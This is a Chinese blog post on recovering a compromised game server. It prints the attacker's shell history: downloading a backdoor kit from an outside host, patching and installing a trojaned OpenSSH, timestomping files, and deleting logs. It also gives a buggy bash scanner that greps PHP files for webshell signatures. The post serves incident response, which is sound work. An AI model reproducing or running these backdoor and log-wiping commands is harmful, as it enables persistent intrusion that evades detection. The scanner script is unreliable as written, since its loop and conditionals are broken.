昨天发现服务器上面很多程序被挂马了,跟开发一起处理了挂马文件,今早发现游戏后台又打不开了,上服务器发现后台程序的入口文件都被删了,恢复了index.php、admin.php后才能正常访问,晚上谁也没上过服务器,可以判定服务器已经被入侵了,开始排查:

1.首先查看安全日志,指定命令如下:

1
more /var/log/secure |grep Accepted

通过对命令输出的查看,下面几条记录令人怀疑:

1
2
3
Jul 28 05:32:17 localhost sshd[21684]: Accepted password for root from 103.231.104.70 port 3551 ssh2
Jul 28 05:37:52 localhost sshd[22754]: Accepted password for root from 103.231.104.70 port 3602 ssh2
Jul 28 05:44:40 localhost sshd[23396]: Accepted password for root from 103.231.104.70 port 3650 ssh2

这条记录显示5点32分通过root账户从103.231.104.70这个ip成功的登录了系统,103.231.104.70这个ip,经过查询发现是香港特别行政区的一个地址,应该是台代理的机器

2.开始查看系统日志message和wtmp日志,并没有发现什么问题

3.开始查看历史命令,发现了问题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
  387  cp -p /etc/ssh/sshd_config{,.bak}
  388  wget www.k2a.cn/Tools/open.tar.gz
  406  cd /etc/ssh/
  407  ls
  408  wget www.k2a.cn/Tools/patch.tar.gz
  409  ls
  410  tar -zxvf open.tar.gz
  411  tar -zxvf patch.tar.gz
  412  cd openssh-5.9p1.patch/
  413  cp sshbd5.9p1.diff ../openssh-5.9p1
  414  cd ../openssh-5.9p1
  415  patch < sshbd5.9p1.diff
  416  vim includes.h
  417  ssh -V
  418  vim includes.h
  419  vi version.h 
  420  ssh -V
  421  vi version.h 
  422  ./configure --prefix=/usr/ --sysconfdir=/etc/ssh/ --with-pam --with-kerberos5
  423  make
  424  make install
  425  id
  426  touch -r sshd_config.bak ssh_config
  427  cd ..
  428  touch -r sshd_config.bak ssh_config
  429  service sshd reload
  430  ls
  431  rm -rf *.tar.gz
  432  rm -rf open*
  433  rm -rf *.bak
  437  cd /var/log/
  439  rm -rf wtmp
  440  rm -rf *log
  442  cd /etc/scl/prefixes/
  448  rm -rf *

通过上面的历史记录可以发现攻击者在服务器上安装了ssh后门,关于ssh后门的文章我也查询了几篇,感兴趣的朋友可以看看:

http://www.freebuf.com/tools/10474.html

http://redkey.blog.51cto.com/335290/1345091

按照上面文章中说的,攻击者已经修改了ssh的版本,用ssh -V查看仍是以前版本,目前紧急处理的方案:

  1. 重装openssh软件,更新至最新版本

  2. 更换ssh默认端口

  3. 在iptable中添加ssh访问策略

在重装openssh新版本的时候,make && make install报错如下:

cannot remove `/usr/bin/ssh': Operation not permitted

使用lsattr查看发现ssh添加了uSia的属性,用chattr将这些属性全部去除后,在重新安装正常!

安装完后可使用ssh -V再次查看版本是否正确

开发同事也帮忙查找代码中的木马,使用脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/bin/bash
#re=$(find -name "*.php" |xargs grep -l "common")
 
if [ ! -d "$myPath"]; then
        mkdir /tmp/safelog
fi
 
function checksafe()
{
   path="/home/web/$1"
   cd $path
   #re=$(find -name "*.php" |xargs egrep "phpspy|c99sh|milw0rm|eval\(gunerpress|eval\(base64_decoolcode|spider_bc")
   re=$(find -name "*.php" |xargs egrep "phpspy|c99sh|milw0rm|eval\(gunerpress|eval\(base64_decoolcode|spider_bc|eval\(\\$\_POST\[|assert\(\\$\_POST\[")
   len=$(expr length "$re")
   if [ $(echo "$len > 0" bc) -eq 1 ]; then
                  echo "$re" /opt/safelog/$1_$(date +%Y%m%d).txt
         #echo "$re" > $path/cache/safelog/$(date +%Y%m%d).txt
   fi
   modifytime $i
}
 
function modifytime()
{
    re=$(find -mtime -1 -type f -name \*.php)
    len=$(expr length "$re")
    if [ $len -gt 0 ]; then
            echo "$re" /opt/safelog/$1_mf_$(date +%Y%m%d).txt
       #echo "$re" > $path/cache/safelog/mf_$(date +%Y%m%d).txt
    fi
}
 
ls=$(cd /home/web;ls)
 
for in $ls
do
  echo "$i"
  checksafe $i
done

一次ssh被植入后门的经历及解决方案的更多相关文章

  1. 系统清理工具CCleaner被植入后门

    概述 2017年9月18日,有情报披露,著名的系统优化工具CCleaner的某个版本被发现植入后门,大量使用该工具的用户恐将面临泄密风险.这是继Xshell后门事件后,又一起严重的软件供应链来源攻击事 ...

  2. 向PE文件植入后门代码技术讨论

    写在前面的话 这篇文章将介绍使用codecaves对PE文件植入后门代码.有几个很好的工具可以帮到你了.比如BackdoorFactory和Shelter将完成相同的工作,甚至绕过一些静态分析几个防病 ...

  3. 数十万PhpStudy用户被植入后门,快来检测你是否已沦为“肉鸡”!

    北京时间9月20日,杭州公安发布<杭州警方通报打击涉网违法犯罪暨‘净网2019’专项行动战果>一文,文章曝光了国内知名PHP调试环境程序集成包“PhpStudy软件”遭到黑客篡改并植入“后 ...

  4. SSH的软链接后门

    之前说过为了防止SSH的后面漏洞 , 升级到高版本的OpenSSH , 那也不能保证万无一失 经典后门  直接对sshd建立软连接 , 之后用任意密码登录即可 看下面操作 创建完软连接后  创建新的会 ...

  5. python植入后门backdoor程序的方法?

    后门程序 from gevent.backdoor import BackdoorServer server = BackdoorServer((), banner="Hello from ...

  6. ssh连接失败, 记下来原因和解决方案

    mac下使用secureCRT发现连接不了虚拟机上的linux 运行 ps -e | grep ssh,查看是否有sshd进程 如果没有,说明server没启动,通过 /etc/init.d/sshd ...

  7. 用secureCRT ssh登陆不显示用户名和路径解决方案 分类: 软件工具学习 2015-03-18 16:52 36人阅读 评论(0) 收藏

    方法1         每次开始的时候输入 bash 虽然只能保存一次,但是简便. 方法2 用       vi ~/.bash_profile   编辑这个文件,  有时会提示这个文件不存在,直 ...

  8. linux 配置ssh无密码登录不起作用的解决方案

    1.安装ssh 直接 sudo apt-get install openssh-server 2.查看ssh运行状态 ps -e | grep ssh 如果发现 sshd 和 ssh-agent 即表 ...

  9. SSH自动断开后重连的解决方案

    注:本文出自博主 Chloneda:个人博客 | 博客园 | Github | Gitee | 知乎 本文源链接:https://www.cnblogs.com/chloneda/p/ssh-conn ...

随机推荐

  1. ssh无密码登陆权威指南

    [0]写在前面 由于ssh 实现的是免密码登陆,大致步骤是: 0.1) client通过ssh登陆到server: 0.2) server检查家目录下的.ssh文件, 并发送公钥文件 authoriz ...

  2. ES6之路

    从工作到现在,虽然是PHP出身,一直都和JS形影不离,从JQ和原生处理页面,到后来被angular1的MVVM模式惊艳到,再到弃angular转战vue,到现在使用react,一路走来,跳坑无数,现在 ...

  3. DIV+CSS一些小小的技巧

    DIV+CSS网页布局技巧实例1:设置网页整体居中的代码 以前用表格布局时设置网页居中非常方便,把表格对齐方式设置为居中就行了,就这么简单,现在呢,用DIV+CSS样式表控制,好像不是那么容易了,其实 ...

  4. 公网yum 源地址

    1. centos5.*  公网yum 源地址 [root@web ~]# cd /etc/yum.repos.d/[root@web yum.repos.d]# wget -O /etc/yum.r ...

  5. 微信URL有效性验证

    1.填写配置项:填写 URL 和 Token 点击提交按钮  微信服务器会以get方式请求到所指定的URL,在此URL中进行URL的有效性验证 2.URL有效性的验证: if ("get&q ...

  6. CUDA: 流

    1. 页锁定主机内存 c库函数malloc()分配标准的,可分页(Pagable)的内存,cudaHostAlloc()分配页锁定的主机内存.页锁定内存也称为固定内存(Pinned Memory)或者 ...

  7. CUDA:纹理内存

    纹理内存: 与常量内存类似,纹理内存是另一种形式的只读内存,并且同样缓存在芯片上.因此某些情况下能够减少对内存的请求并提供高效的内存带宽.纹理内存是专门为那些在内存访问模式中存在大量空间局部性的图形应 ...

  8. Spring Aop切点

    切点用于准确定位应该在什么地方应用切面的通知.通知和切点是切面的最基本的元素.在Spring AOP中要使用AspectJ的切点表达式来定义切点.下面我们列出Spring AOP所支持的AspectJ ...

  9. Kaggle系列1:手把手教你用tensorflow建立卷积神经网络实现猫狗图像分类

    去年研一的时候想做kaggle上的一道题目:猫狗分类,但是苦于对卷积神经网络一直没有很好的认识,现在把这篇文章的内容补上去.(部分代码参考网上的,我改变了卷积神经网络的网络结构,其实主要部分我加了一层 ...

  10. uboot移植添加nfs支持

    手头6410开发板uboot(基于2011.06)其他功能包括ping和tftp都执行正常,唯独缺少nfs. 只需要在其配置文件(每个开发板文件通常名称不同,include/configs/*6410 ...